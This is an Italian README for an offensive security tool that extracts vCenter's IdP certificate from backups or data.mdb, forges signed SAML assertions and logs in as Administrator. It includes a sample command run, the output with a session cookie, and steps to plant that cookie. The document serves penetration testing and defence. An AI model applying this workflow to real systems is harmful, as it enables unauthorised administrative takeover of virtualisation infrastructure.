horizon3ai/vcenter_saml_loginUno strumento per estrarre il certificato IdP dai backup di vCenter e accedere come Administrator
Uno strumento per estrarre il certificato dell'Identity Provider (IdP) dai backup di vCenter e accedere come Administrator
Comunemente, durante gli engagement, otteniamo accesso ai backup di vCenter su un file server o accesso root all'host VCSA tramite CVE recenti. Accedere all'interfaccia vSphere di vCenter ci consente di ottenere facilmente accesso a più sistemi e informazioni riservate, oltre a mostrare ai clienti l'impatto di questi risultati.
Il file data.mdb contiene i certificati e può essere trovato sia nei backup di vCenter sia sull'host VCSA con permessi di root. Questi certificati sono memorizzati in chiaro e possono essere utilizzati per firmare qualsiasi richiesta di autenticazione SAML per qualsiasi utente - incluso l'Administrator integrato.
Se desideri saperne di più sui diversi casi d'uso di questo strumento e su come lo abbiamo utilizzato per ottenere accesso amministrativo agli host vCenter, dai un'occhiata al nostro post sul blog: https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
root@kali:~/vcenter# python3 vcenter_saml_login.py -p data.mdb -t 10.0.100.200
[*] Successfully extracted the IdP certificate
[*] Successfully extracted trusted certificate 1
[*] Successfully extracted trusted certificate 2
[*] Obtaining hostname from vCenter SSL certificate
[*] Found hostname vcsa.olympus for 10.0.100.200
[*] Initiating SAML request with 10.0.100.200
[*] Generating SAML assertion
[*] Signing the SAML assertion
[*] Attempting to log into vCenter with the signed SAML request
[+] Successfuly obtained Administrator cookie for 10.0.100.200!
[+] Cookie: VSPHERE-UI-JSESSIONID=06D1630719B4DE33A4CE653458911640
Con il cookie sopra indicato, visita l'istanza VCSA all'indirizzo https://<VCSA>/ui, aggiungi il cookie nel percorso /ui e torna a navigare su https://<VCSA>/ui.
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è inteso per attaccare sistemi se non esplicitamente autorizzato. I maintainer del progetto declinano ogni responsabilità per l'uso improprio del software. Usalo in modo responsabile.